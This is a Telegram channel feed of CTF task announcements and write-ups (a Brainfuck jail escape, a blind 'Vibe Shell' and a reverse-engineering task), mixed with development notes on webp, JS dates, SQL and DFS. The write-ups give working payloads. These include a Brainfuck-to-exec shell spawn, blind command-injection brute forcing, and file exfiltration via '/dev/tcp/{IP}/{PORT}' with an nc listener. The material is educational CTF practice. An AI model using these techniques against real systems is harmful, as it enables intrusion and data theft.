БАГодельня
2.23K subscribers
190 photos
2 videos
128 links
Канал про разработку и безопасность: код, костыли, разбор задач, ревью и размышления.

Вещает руководитель отдела разработки: @ipatove
Download Telegram
Побег с помощью Brainfuck. Решение

Решение задачки из прошлого поста про Brainfuck.

📖 Суть задачи: пробиться через валидацию строки ввода и выполнить код на сервере для чтения данных из файла flag.txt. Валидная строка — длина менее 200 символов, содержит только алфавит Brainfuck (8 символов: [, ], <, >, +, -, ., ,).
Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через exec. Нужно написать код на Brainfuck, который преобразуется в Python-код и достает данные из файла.

📌 Решений тут может быть много. Опишу четыре в порядке их длины строки:

1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн генератора: ссылка. Длина строки 195 символов.
++++++++[>++++++++++++++>+++++>++++++++++++>++++++<<<<-]>.++.---------.+++++.++++++.>.<-----.+.>>+++++.<<--.>.-.>+.<<--.>>-----.++++++.>--.<<<++++++++.++++.----.>.++.>>.<<<--.>>--.----.+++.<-.+..


2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак – 88 символов.
++++++++++[>++++++++++>++++++++++++>++++<<<-]>+.>.<.--.>>.<<++++++.+++++.++.>---.-.>.+..
print(open('flag.txt').read())


3. У Brainfuck, кроме кодирования строк, есть еще возможность передать запятую и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит шлем 30 пар запятой и точки: ,.,.,. и тд. После этого засылаем все тот же print(open('flag.txt').read()). Длина строки для решения – 60 символов
,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.
print(open('flag.txt').read())


4. В Brainfuck так же есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт – 0x00. Нулевой байт с консоли отправляется командой CTRL + @ или CTRL + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, в а квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат – 14 символов на Brainfuck:
> nc ctf.owl-dev.ru 1337
++++++++++[.,]
import os
os.system('sh')
^@ # нулевой байт для остановки цикла
cat flag.txt


📌 Если есть еще интересные решения – присылайте их в комментарии. С задачкой справилось 9 человек, кто в личку присылал решения и флаги. Значит формат интересный и попробуем еще что-то подобное устроить.

📌 Задача на сервере будет остановлена сегодня в 00:00 по МСК, но код в посте остался прикреплен, можно локально потренироваться. Исходники: скачать.
Сегодня еще можно попробовать помучить сервер, подключение: nc ctf.owl-dev.ru 1337

❗️ Было несколько запросов, чтобы заранее анонсировать время выхода новой задачи. Объявляю: новая задача будет опубликована завтра – 10 августа в 12:00 по МСК времени.

———
#⃣ #CTF #РазборыЗадач

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍41👏11
Задача «Vibe Shell»

Продолжаем цикл коротких задачек! Новая задачка для вас — на неделю, до 00:00 по МСК 17 августа.

📖 Суть: очередной челлендж на нестандартную логику. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать его содержимое.

❗️Подключение к серверу: nc ctf.owl-dev.ru 1337

❗️ Решения и флаги присылайте мне в ЛС: @ipatove.
Обсуждать задачу и искать коллективные решения можно в комментариях или в нашем чате.

📅 Решение опубликую: 16 августа в 12:00 по МСК.

🏆 Первый решивший — молодец! Топ-3 объявлю в комментариях к этому посту.

———
#⃣ #CTF #ЗадачиCTF #misc

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥8🤔52
Обработка анимированных webp изображений

📖 Недавно в рабочем проекте на бекенде столкнулись с необходимостью обработки webp, которые содержат несколько кадров – анимированные картинки. Ранее анимацию передавалась через gif-ки, но прогресс не стоит на месте и теперь картинки двигаются и в формате webp. А также скоро и png будут содержать анимацию, недавно вышла новая спецификация, но это совсем свежее обновление и браузеры их еще толком не поддерживают – это проблема нас будущих. Пока нужно разобраться с webp.

Для обработки картинок чаще всего на сервере используется библиотека ImageMagick, с ней можно работать во многих языках бекенда. Но если напрямую, без специальных флагов, начать ресайзить анимированный webp, то картинка становится статичной – теряются кадры анимации, а иногда и вовсе ломается обработка. Поэтому сперва нужно определить, какого типа будем обрабатывать изображение: статичное или анимированные.

📌 Из спецификации webp узнаем, какую структуру имеют заголовки и как там указывается тип. Первые байта заголовка имеет следующую структуру:
– RIFF – магическое число (52 49 46 46), которое обозначает начало файла формата RIFF (Resource Interchange File Format)
– Далее четырехбайтовое целое число, указывающее размер всего файла минус первые восемь байт (52 49 46 46 + size)
– Следующее магическое число – (57 45 42 50), оно определяет формат файла webp
– Далее идет четыре байта VP8X, которые определяют особенности webp.
– И сразу после VP8X идет один байт, который как раз и указывают особенности картинки: анимация, альфа-канал и так далее
По битовой маске 17-го байта можно определить особенности картинки:
– 0b00000001 Есть альфа-канал (прозрачность)
– 0b00000010 Есть анимация
– 0b00000100 Есть EXIF-метаданные
– 0b00001000 Есть XMP-метаданные
– 0b00010000 Есть ICC-профиль


❗️ Также анимацию можно определить по заголовку ANIM, который обозначает в каком месте файла начинаются кадры анимации. Но в данном примере будет определять через битовую маску 17го байта.

📌 Теперь разберемся с ImageMagick. Ему для корректной работы с анимированными изображениями нужно передавать флаг -coalesce, тогда будут обработаны все кадры внутри изображения. А для оптимизации кадров можно использовать флаг -layers CompareAny. Таким образом для ресайза по ширине в 500 пикселей команда для ImageMagick будет такая:
magick anim.webp -coalesce -resize 500x -layers CompareAny output-anim.webp


👨‍💻 Всех вводных хватает и остается только написать код обработки, который определит тип webp(статичный или анимированный) и выполнит ресайз изображения. Код можно писать на любом языке, но под рукой был python, на нем приведу пример.

# Проверка, содержит webp анимацию или нет
def is_animated_webp(file_path):
with open(file_path, "rb") as f:
data = f.read(17)

# Проверяем сигнатуру анимированного WebP (RIFF + WEBPVP8X + ANIM)
is_riff = data.startswith(b'RIFF')
is_webp = data[8:12] == b'WEBP'
is_vp8x = data[12:16] == b'VP8X'
has_animation = (data[16] & 0b00000010) != 0 # Проверка флага анимации

return is_riff and is_webp and is_vp8x and has_animation


И функция для вызова ImageMagick, которая сделает ресайз изображения:
def resize_webp(input_path, output_path, target_width):
if is_animated_webp(input_path):
# Анимированный WebP: обрабатываем с учетом кадров
command = [
'magick',
input_path,
'-coalesce', # Восстанавливаем полные кадры
'-resize', f'{target_width}x', # Ресайз по ширине
'-layers', 'CompareAny', # Оптимизация анимации
output_path
]
else:
# Статичный WebP
command = [
'magick',
input_path,
'-resize', f'{target_width}x',
output_path
]

# Запускаем ImageMagick
subprocess.run(command, check=True)


На этом пока все, ждем теперь появления анимированного PNG, чтобы и с ним покопаться и разобраться, как обрабатывать.
76🔥6👍21
Задача категории OSINT «Отголосок прошлого»

📖 В комментариях и в личку несколько раз писали по поводу возможности задач категории OSINT – поиск решения по открытым источникам. Подобную уже пробовали решать – про аиста, но там все же был упор на разработку, писали бота для поиска по картам. А конкретно на osint-овские навыки еще не было ничего. Давайте попробуем, на сколько такая категория будет интересна.

К тому же немного автоматизируем сдачу флагов, чтобы не писать мне в личку, а можно было проверяться автоматически. Для осинтовских задач такое может пригодиться, поскольку флаг формируется из разных данных и не всегда понятно, на верном пути или еще далек от решения. Для автоматизации запущен простой бот в телеграм, все что он умеет, это принимать флаги и отвечать: успех или провал. И бонусом это поможет точнее видеть статистику по отправкам флагов и понимать на сколько интересны задачи, т.к. в личку не все пишут.

❗️ Описание задачи «Отголосок прошлого»:
Когда-то на этом месте стояло здание, где сейчас стоит фонтан. Власти настолько хотели демонтировать здание, что применяли взрывчатку, и даже, по некоторым сведениям, использовался танк.

Картинка для задания: скачать.
Флаг сдавать в формате: BugCTF{Building_Name}. Не чувствителен к регистру. Название здания на английском, два слова!

———

📌 Бот, который проверяет флаги: @BugMakersFlagsBot
Но вы, как и раньше, можете писать мне в лс и делиться решениями: @ipatove

🐞 Автор задачи: Дмитрий Кустовский из команды БАГодельня.
Решение этой задачи выйдет на следующей неделе.

🏆 Первый решивший — молодец! Погнали!

———
#⃣ #CTF #ЗадачиCTF #OSINT

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
2🔥6🤔321
Задача «Vibe Shell». Решение

Решение задачки из поста от 10 августа: описание задачи.

❗️Сервер задачи будет работать еще завтра до 21:00. Можно опробовать способы решения из описания. Но если читаете пост позже, то можете запустить задачу локально, исходники и контейнер тут: github.

📖 Кратко суть задачи: есть доступ к серверу, который принимает ввод, а в ответ отдает сообщение только двух типов «Good Vibes» или «Bad Vibes». Нужно найти файл на сервере текстовый документ и прочитать текст из него.

Если немного поэкспериментировать и попробовать отправить разные команды, то становится понятно, что сервер принимает и пытается выполнить команды shell. Но вместо результата выполнения возвращается только статус успеха или провала выполнения.

😬 Задача задумывалась так, что расположение и имя файла, а также чтение его содержимого должны быть найдены с помощью перебора. Сперва по буквам найти путь к файлу, потом так же по одному символу считать содержимое. Но так решили не все, нашлось несколько интересных лазеек. И так даже интереснее.

1. Первое решение, которое задумывалось как основное, больше всего участников нашли, кто присылал решения в личку. Для поиска пути можно было написать скрипт, который подключится к серверу и по одному символу добавляет к пути в команде ls path/folder/secr*. В такой команде звездочка означает любое продолжение пути. Если сервер отвечает успехом, значит ищем следующий символ. Файл лежит по пути /home/ctfuser/secret.txt. Дале таким же перебором, по одному символу можно считать и содержимое файла, используя такую команду: cat /home/ctfuser/secret.txt | cut -c {position} | grep -q '{char}'. Где {position}, это позиция символа в файле, а {char} — это символ для сравнения.
Но такое решение не очень уж и интересное оказалось по сравнению со следующими, хотя и с помощью задуманной логики можно потренироваться скриптами подключаться к серверу и подумать над комбинациями команд для поиска и считывания результата.

2. Второе решение. В скрипте, который обрабатывает вызов команд в оболочке bin/bash, stdout и stderr были обработаны, данные от них посылались в dev/null. Но stdin остался открытым. Можно было перенаправить вывод результата выполнения команд в stdin с помощью >&0. Тогда решение сводится всего паре команд: проверить список файлов: ls -la >&0 и для чтения cat secret.txt >&0.

3. И третье решение, которое я прозевал и не обработал при составлении задачи, это запуск кода python. Такой трюк провернул все один человек, ну или не все написали в лс) Можно было отправить в консоль python3 -c "код", и сервер выполняет код. И уже дальше с помощью скрипта нужно просканировать папку, собрать данные и отправить их к себе на эндпоинт. А когда файл найдет, таким же образом прочитать данные и заслать их к себе на сервер для чтения.

4. Четвертое решение. Такое тоже только одно присылали. Можно перенаправить вывод на удаленный хост по TCP: cat secret.txt > /dev/tcp/{IP}/{PORT}
Чтобы принять данные, на машине-приемнике запускаем прослушивание порта, он выведет все, что приходит: nc -l -p {PORT}

❗️Спасибо, что делитесь решениями, присылаете их в личку. Всегда интересно посмотреть на альтернативные способы, а некоторые варианты даже удивляют и заставляют подумать над следующими реализациями, чтобы учитывать больше вариантов и обрабатывать их заранее.

📌 Объявление. Следующая задача будет запущена в среду (20 августа) в 20:00, чтобы не откладывать до выходных, но и успели вернуться с работы.

———
#⃣ #CTF #РазборыЗадач

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍422
Социальный опрос в БАГодельне

❗️ Чтобы получше понять, какие посты интереснее и нет ли какого-то перекоса по формату, появилось несколько вопросов ко всем участникам канала. Следом выйдет два анонимных опроса, где можно выбрать по несколько вариантов ответов. Помогите прояснить интерес и понять, на сколько вообще тот или иной формат востребован. Возможно, какие-то корректировки стоит сделать. А то мне самому стало казаться, что появилась «пердозировка» задачками и их разборами.

❗️ Если есть, что добавить помимо опроса, то пишите в комментарий к посту , в группе-чатике или мне в личку @ipatove.

❤️ Заранее всем спасибо за ответы, и за то, что читаете, реагируете на посты и пробуете решать задачки.

⁉️ А теперь внимание, опрос!
👍63🔥1
Задача «Тихий страж»

📖 Новая задачка, которую можно решить двумя разными способами – реверсить бинарник или найти в системе стража и подобрать ключ к нему. Misc или Rev, можно попробовать и оба варианта или найти совсем другое, свое обходное решение, как уже делали ни раз с предыдущими задачами.

📌 Описание задачи:
В глубинах системы, затерянный среди множества других, дремлет одинокий процесс. Он не говорит и не слушает обычные пути. Его единственная цель — хранить тайну и ждать того, кто знает волшебное слово. Шепни ему на ухо правильную команду, и он откроет тебе свои секреты.

Подсказки:
1. Кодовая фраза где-то рядом... возможно, даже в самом бинарнике
2. Две предыдущие задачи, были "модифицированы" автором этой задачи точно таким же способом, и из-за этого в консоль выводились сообщения при подключении к серверу
3. Основная концепция Linux – "всё есть файл"

Команда для подключения:
UPD:
socat -,rawer,escape=0x1d OPENSSL:ctf.owl-dev.ru:1337,verify=0,no-sni=1
Пароль подключения: cEBzU3cwckQ=

nc ctf.owl-dev.ru 1337



Автор задачи: xof

❗️ Бот, который принимает флаги: @BugMakersFlagsBot
Также присылайте отзывы, вопросы, замечания и решения мне в личку @ipatove , в комментарии к посту или в наш чат, где можно обсуждать и коллективно решать.

📖 Решение этой задачи будет опубликовано в начале следующей недели.

🏆 Первый решивший — молодец! Погнали!

———
#⃣ #CTF #ЗадачиCTF #reverse

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
35👍4🔥3
Приколы Date() в JS

📖 Пару раз в рабочих задачах спотыкались на строковом формате даты, который нужно преобразовать в объект даты на фронте в js. Решил сделать заметку и заодно получше разобраться в чем конкретно проблема. Но попутно нашел еще несколько интересных моментов, их тоже упомяну в посте.

😬 Проблема: в браузере Safari js функция new Date('2025.08.23') вернет «Invalid date», хотя во всех остальных браузерах это валидная строчка с датой, и такой код будет возвращать «Sat Aug 23 2025 00:00:00 GMT+0300». Если не знать этого нюанса, можно нарваться на неприятности и не сразу отловить проблему, поскольку мало кто пользуется Safari в качестве браузера для разработки, да и при отладке есть шанс его пропустить.

❗️Почему так? На самом деле это ошибка не Safari, а скорее разработчиков и остальных браузеров. В спецификации метода Date() описано, что он принимает строковые даты в форматах ISO 8601. А формат с разбиением чисел через точку, не подходит под ISO 8601. То есть валидные значения разделителя — это дефис. Правильный формат такой: new Date('2025-08-23'). Примечание: кроме дефиса, все браузеры так же поддерживают и обратный слеш: new Date('2025/08/23').

📌 Бонусом докину еще несколько «приколов» с Date, это уже особенности самого js, как он интерпретирует строки. Самые интересные:
new Date("0") // вернет 1 января 2000 года
new Date(0) // вернет 1 января 1970 года
new Date("maybe 1") // вернет 1 мая 2001 года


📌 Пока гуглил еще «особенности» работы Date, нашел интересный квиз – 28 вопросов по нестандартному поведению Date. Проверить свои навыки можно тут: https://jsdate.wtf А результаты кидайте в комментарии.

———
#⃣ #БазаЗнаний #JS

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍521
Итоги CTF-задач августа и анонс новых

📖 За месяц мы запустили и порешали все вместе четыре задачи. Это немного, но и не мало. А судя по статистке ответов на опросы, которые были на прошлой неделе, стало понятно, что нужно немного сбавить обороты и не забывать про основную тематику – посты с разборами задач и материалами по разработке в целом. Да и мне самому выпускать по задаче в неделю не всегда удобно, одна задача из-за других дел, сползла на будний день, хотя изначально планировал публиковать их только по выходным. По активности решения, очевидно, что задачи в выходные дни гораздо активнее решаются.

❗️Поэтому новые задачи будут выходить только по выходным и немного реже – раз в две недели, чередуясь с разборами прошлых задач. Это поможет получше готовить задачи, чтобы не было промахов, как было с подключением, также появится время на подготовку задач из разных категорий – поискать референсы и идеи. И самое главное, что появится время на посты про разработку.
Чтобы было интереснее решать и появился дух соперничества, я планировал ввести небольшие призы, которые будут выдаваться по итогам месяца. Однако с новым графиком, раз в месяц нечего считать – всего две задачи. Поэтому символические призы будут за каждую задачку – за 1-3 места. Призы будут в виде звезд и премиума в телеграм, так проще всего отправлять призы.

Однако за август задания были каждую неделю и за них можно собрать турнирную таблицу. И выдать призы так, как изначально задумывалось. Про это не было анонса, поскольку не был уверен, что получится выпустить все четыре задачи и что вообще кто-то будет решать.

🎉 Результаты задач августа, публикую только Топ-3 участника из каждой задачи:

Jail / Задача «Побег с помощью Brainfuck» // Решение
🥇 Евгений Курмыса
🥈 xof
🥉 zzz3230

Misc / Задача «Vibe Shell» // Решение
🥇 Евгений Курмыса
🥈 zzz3230
🥉 xof

Osint / Задача «Отголосок прошлого» // Не будет разбора
🥇 nof
🥈 xof
🥉 Евгений Курмыса

Misc & Reverse / Задача «Тихий страж» // Решение 1 и Решение 2
🥇 Евгений Курмыса
🥈 нет решения
🥉 нет решения

Победители:
🥇 Евгений Курмыса – приз 6 мес премиума в телеграм
🥈 xof – приз 3 мес премиума в телеграм
🥉 zzz3230 – приз 3 мес премиума в телеграм

🎉 Призы уже разослал победителям.

Итоговые результаты считал по формуле: 1-е решение – 3 балла, 2-е – 2 балла, 3-е – 1 балл, 4 и ниже – 0.5 баллов
12👍9🔥31
Костылим со всей силы в sql-запросах

📖 Пару лет назад был пост с кодревью, где числовой постфикс к имени файла находился брутфорсом, перебирая все доступные имена. Освежить в памяти можно тут: Новая папка(123). Сегодня получилось реализовать тоже самое только с базой данных. Сперва не планировал писать, но задачка получилась интересная и не стандартная – костыль, который вряд ли кому-то пригодится в том виде, как он есть, однако показывает не самые стандартные возможности SQL.

📌 Что имеем? Есть таблица в БД mysql, куда пишутся записи с некоторыми данными, а одно из полей хранит уникальный ключ такого вида: keyname_123, где 123 – это инкремент для уникальности. Нужно узнать самый большой постфикс для ключа и добавить запись с ключом keyname_(N+1).
Важное примечание. В силу некоторых обстоятельств, сделать по-человечески, и вынести индекс ключа в отдельный столбец, и по нему уже делать выборку, в данном случае нельзя. Можем работать только с такой строкой.

📌 Как реализовано? С помощью while цикла делались запросы к таблице для проверки существования записи с ключом keyname_i, где i – инкремент от 0 и до конца, с увеличением на единицу. Цикл крутится, пока запрос к БД не вернет пустой ответ, это сигнализирует о найденном индексе ключа, который можно использовать для новой записи. В данном случае индексов может быть не много, не более десятка, но что может стать с проектом в будущем никто не знает, и такой поиск индекса будет серьезной проблемой при увеличении объемов. Да и в целом, перебор значений — это уж совсем крайний случай.

📌 Как сделать получше? А теперь несколько вариантов, как еще можно решить эту задачу, не мучая БД лишними запросами.

1. Так же перебором, но гонять в цикле не запросы к БД, а данные. Сделать запрос вида:
SELECT key_column 
FROM tbl_test
WHERE key_column LIKE 'kek_%';

Достаем все ключи и находим самый большой индекс. Такой вариант будет работать быстрее и меньше грузить БД на небольших объемах данных.

2. Для mysql 8.0+ версий можно написать запрос и регуляркой отрезать от ключа текстовую часть, оставив только числовой постфикс. И сразу же в запросе получить максимальное значение. То есть один запросом получаем сразу максимальный индекс. Запрос:
SELECT MAX(CONVERT(REGEXP_SUBSTR (key_column, '[0-9]+$'), INT)) AS max_prefix
FROM tbl_test
WHERE key_column like 'kek_%';


3. Для mysql ниже 8 версии, где нет поддержки REGEXP_SUBSTR, тоже можно реализовать запрос, как во втором примере, но через предварительный подсчет символов до числа. Запрос:
SELECT MAX(CAST(SUBSTRING(key_column, 5) AS UNSIGNED)) AS max_prefix
FROM tbl_test
WHERE key_column LIKE 'kek_%';


Если у кого есть еще идеи sql-запросов, кидайте в комментарии, может быть есть более простые или интересные варианты.

———
#️⃣ #sql #костыли

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥5👍21
Задача «Тихий страж». Решение 1

Решение задачки из поста от 20 августа: описание задачи.
Подключение к серверу будет доступно еще все выходные, можно попробовать порешать после прочтения этого разбора.
Бинарник для тренировки реверса и его исходник можно скачать тут: github.

📖 Кратко суть задачи: есть доступ к серверу, где нужно найти флаг. При подключении сразу виден бинарник и скрипт, в котором описан запуск этого бинарника. Так же из условия задачи понятно, что нужно либо реверсить бинарный файл либо найти запущенный процесс и передать ему ключ.

📌 Первое решение. Через анализ системы и бинарника

В первую очередь после подключения к серверу смотрим, какие файлы нам доступны:
> ls -la
-rwxr-xr-x 1 ctfuser ctfuser 14072 Aug 20 20:18 ctf
-rwxr-xr-x 1 ctfuser ctfuser 56 Aug 20 20:17 entrypoint.sh

Из содержимого entrypoint.sh понимаем, что в системе скорее всего запущен бинарник ctf. Поэтому стоит проверить, работает он еще или нет:
> ps aux | grep ctf
8 ctfuser 0:00 ./ctf

И замечаем, что процесс запущен в системе, его PID = 8. Теперь нужно понять, что делает этот процесс и с чем взаимодействует. Одна из подсказок была, про то, что всё в linux – это файлы. Проверяем наш процесс с помощью lsof:
> lsof -p 8
8 /home/ctfuser/ctf 0 /dev/null
8 /home/ctfuser/ctf 1 pipe:[58609665]
8 /home/ctfuser/ctf 2 pipe:[58609666]
8 /home/ctfuser/ctf 4 pipe:[58608517]
8 /home/ctfuser/ctf 69 pipe:[58608517]

В ответе для нас самый интересный третий столбец, он хранит FD (File Descriptor) — числовой идентификатор, который процесс использует для работы с этим открытым файлом.
FD 0 — это стандартный ввод (stdin). FD 1 — вывод (stdout). FD 2 — вывод ошибок (stderr). А вот FD 4 и FD 69 — это дополнительные файловые дескрипторы. И они оба подключены к одному и тому же каналу (58608517). Поскольку по условию задачи нам нужно найти «Стража» и сказать передать ему правильную команду, то скорее всего какой-то из нестандартных FD настроен на чтение данных. И чтобы отправить строку процессу нужно записать строку через файловый дескриптор:
echo "строка" > /proc/$PID/fd/$FD, где $PID – это PID процесса, у нас это 8, а $FD – файловый дескриптор 4 или 69.

📌 Остается понять, какие данные нужно передать. Возвращаемся к условию задачи и там находим, что «Кодовая фраза где-то рядом... возможно, даже в самом бинарнике». Тут мы можем сделать дизассемблирование бинарника или сперва попробовать просто извлечь из него все доступные строки. Пробуем вариант попороще – извлекаем строки с помощью утилиты strings и анализируем содержимое:
> strings ./ctf
...
__libc_start_main
free
libc.musl-x86_64.so.1
__deregister_frame_info
ATUSH
|$xH
...
pipe
dup2
/flag
read
YnJ1aA==
d@Sn
;*3$"
GCC: (Alpine 14.2.0) 14.2.0
.shstrtab
...


Часть вывода я отрезал – там лишнее и заметил троеточием. В выводе замечаем несколько не стандартных строк – это /flag и YnJ1aA==. Вторая часть это base64 строка, раскодируем ее на всякий случай, получаем bruh. Но строка /flag больше всего подходит под «команду для стража», поскольку в начале строки есть слеш и в целом «flag» уже хранит намек. Пробуем отправить эту строку нашему стражу:
> echo "/flag" > /proc/8/fd/4
BugCTF{флаг-изменен-для-поста}


Сработало! Флаг получен. Это работает с fd 4 и 69, оба дескриптора принимают значение и отдают флаг, если строка с командой корректная.

❗️Второй способ решения – через реверсиинг бинарника, не влезает в этот пост, не хватает лимита телеграмм. Опубликую вечером вторым постом.

———
#⃣ #CTF #РазборыЗадач

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍62👾1
Задача «Тихий страж». Решение 2

Решение задачки из поста от 20 августа: описание задачи
Бинарник для тренировки реверса и его исходник можно скачать тут: github.

📌 Второе решение. Полный реверсинг бинарника

Для реверса бинарника, его сперва нужно выкачать. Самый простой способ – это подключиться к серверу, закодировать файл ctf в base64, и полученную строку у себя на компьютере обратно сконвертировать в бинарник:
Кодируем: cat ./ctf | base64
Сохраняем бинарник: echo "строка_base64" | base64 -d > output_binary

Теперь нужно сделать дизассемблирование бинарника, для этого есть программы: бесплтаная Ghidra и IDA(платная и бесплатная версии). Обе программы работают примерно одинаково. Запускаем приложение и выбираем нужный бинарник, на выходе получаем список функций и их код, используемые данные, которые зашиты в бинарнике, а также получаем схему логики – ее кусочек на превью поста, это скрин из IDA.

Код бинарника после реверса отображается кодом ассемблера. Но ассемблер сложноват для восприятия, однако его можно перевести в си-подобный псевдокод. Конвертировать умеет и Ghidra и IDA – с этим нет проблем. Поэтому переводим код в си-подобный и смотрим, что происходит внутри бинарника.
Для тех, у кого нет установленных программ для реверса, залил самые интересные куски псевдокода в гитхаб: github. В репозитории полный код функций main и sub_1345, а также объект с данными .rodata – это статичные данные, которые хранятся внутри скомпилированного приложения, они нам тоже пригодятся.

Когда бинарник декомпилирован начинаем анализировать полученный код, первым делом находим точку входа – это функция start, там будет вызов функций с логикой, в данным случае это main. Внутри функции main сразу же находим нужный нам участок, вот самое интересное:
if ( !strcmp(buf, "/flag") )
{
v6 = (unsigned __int8 *)sub_1345(&unk_2030, 26, "YnJ1aA==", 8);
if ( v6 )
{
for ( i = 0; i != 26; ++i )
{
v8 = v6[i];
putchar(v8);
}
free(v6);
}
}

Псевдокод нормально читается, и из него становится ясно, что запущенный процесс ждет строку «/flag», которую мы передавали в первом варианте решения. Далее происходит какая-то обработка данных из переменной unk_2030 внутри функции sub_1345, а итоговый результат выводится в stdout.
Нужно теперь разобраться, что делает функция sub_1345 и найти значение переменной unk_2030. Анализируем код sub_1345:
_BYTE *__fastcall sub_1345(__int64 a1, size_t a2, __int64 a3, unsigned __int64 a4)
{
_BYTE *v8; // rdi
size_t v9; // rsi

v8 = malloc(a2);
v9 = 0;
do
{
v8[v9] = *(_BYTE *)(a1 + v9) ^ *(_BYTE *)(a3 + v9 % a4);
++v9;
}
while ( v9 < a2 );
return v8;
}


Это простая логика XOR-а, где байты ключа ксора используются по очереди и по кругу, если длина ключа короче зашифрованной строки. Если код не читается, то его можно переписать на более понятный – это нейронки хорошо умеют, но за ними нужно перепроверять. Один раз нарывался на то, что нейронка неправильно отформатировала код и потратил пол дня, пока не понял, что копаюсь с неправильным куском логики.

Теперь мы знаем, что для получения флага, нужно выполнить xor для значения из unk_2030 с ключом «YnJ1aA==». Ключ, кстати, был виден в первом решении, когда выполнялся strings для изучения бинарника.
Остается найти значение unk_2030 – оно хранится в .rodata, разбитое по байтам. Забираем его оттуда и выполняем преобразование xor-ом. Чтобы не считать ксор руками, можно написать простой скрипт, например, на питоне: скрипт / запустить. Раскодированная строка — это наш флаг. Победа!

❗️ Важный анонс
Следующая задача будет запущена 6 сентября в 12:00 по МСК. Категория web. За первые три решения будут призы: 3 месяца премиума в телеграм, 250 и 100 звезд. Не пропустите 😁

———
#⃣ #CTF #РазборыЗадач

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥10👍41
Игра «Сапёр». Пример использования алгоритма DFS

📖 В прошлом году ездил в столицу на поезде и взял с собой ноутбук, но не скачал туда ничего посмотреть или послушать. В дороге без интернета скучно, и чтобы чем-то заняться, написал «Сапёра». Сама по себе игра не сложная в реализации, но есть один интересный момент. Когда игрок кликает по клетке с «нулем» – ячейка поля, в которой нет мин и во всех соседних клетках тоже пусто, то должна открыться сразу вся область поля соседствующими «нулями». То есть открывается часть поля, со всеми соседствующими клетками с нулями, пока не встретится граница или ячейка с цифрами (от 1 до 8, зависит от количества клеток-соседей с минами).

Если начать выдумывать свой алгоритм раскрытия поля с пустыми ячейками, то можно прилично закопаться в условиях и циклах. Именно этим я и занялся сперва – начал мудрить свой алгоритм. Но закопавшись в ветвлении логики, начал вспоминать алгоритмы, которые кроме как в тренировочных задачах, больше особо и не использовал раньше. Может быть, у кого-то в рабочих задачах и пригождаются алгоритмы каждый день, но я с ними пересекаюсь только во всяких учебных и тренировочных задачах или в описании статей. Поэтому нужный алгоритм пришел на ум не сразу и сперва занимался дурью с условиями и изобретал свое решение.

📌 Для такой задачи идеально подходит DFS – поиск по графу в глубину. Если кто понимает за асимптотику, то сложность этого алгоритма O(n), то есть линейная – время работы алгоритма линейно с увеличением размера входных данных. Это очень хороший показатель для алгоритма. Смысл алгоритма заключается в рекурсивном обходе всех соседей и сборе массива валидных координат. Так без лишних условий можно пробежаться по всем соседям и собрать нужные ячейки, которые будут открыты.
Для наглядности код алгоритма на примере поиска пустых ячеек в сапере:
function findAllEmptyCells(matrix, startY, startX) {
// Размер игрового поля
const rows = matrix.length;
const cols = matrix[0].length;
// Направления поиска соседей:
// Вверх, влево, вниз, вправо
const directions = [[-1,0], [0,-1], [1,0], [0,1]];
// Матрица посещённых клеток
const visited = [];
const result = [];

function dfs(y, x) {
// Проверка границ, значений из клеток соседей
// и актуальность посещения клетки
if (y < 0 || y >= rows || x < 0 || x >= cols || matrix[y][x] !== 0 || visited[y][x]) {
return;
}

// Помечаем ячейку как посещенную
visited[y][x] = true;
// Добавляем координаты в результат
result.push([y, x]);

// Рекурсивно проверяем всех соседей
for (const [dy, dx] of directions) {
dfs(y + dy, x + dx);
}
}

dfs(startY, startX);
return result;
}


📌 Для наглядности еще пример, как отработает алгоритм.
Допустим, у нас есть поле:
[1, 1, 1, 0]
[1, 0, 0, 1]
[0, 0, 1, 1]

При клике на ячейку [1,1] (значение 0), алгоритм найдет все связанные пустые ячейки и вернет матрицу координат этих нулей: [[1,1], [1,2], [2,0], [2,1]]
Решение получается очень простым и предсказуемым. Но чтобы его написать, нужно иметь в запасе какой-то набор базовых алгоритмов. Учить наизусть подобные алгоритмы нет смысла, но понимать, как они работают и знать про их существование не будет лишним. Учить наизусть только для собесов надо, на сколько я понимаю 😁. А в реальных задачах такое не часто встречается и достаточно просто знать и вовремя вспоминать, чтобы можно было нагуглить описание и применить. Это мое мнение, не призываю никого, если есть желание заучивать, то занимайтесь)

💣 Полный код сапера можно посмотреть в моем github, реализован на js.
А так же можно поиграть и потестить логику, билд тут: Сапёр.

❗️UPD:
В комментариях прислали пару интересных замечаний по механике игры. Внес правки – актуальное в репозитории и в рабочей версии игры. И заодно для примера переписал алгоритм поиска с DFS на BFS — можно сравнить по коммитам.

———
#⃣ #DFS #BFS #Алгоритмы #Сапер

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥932
Запуск сайта с задачами

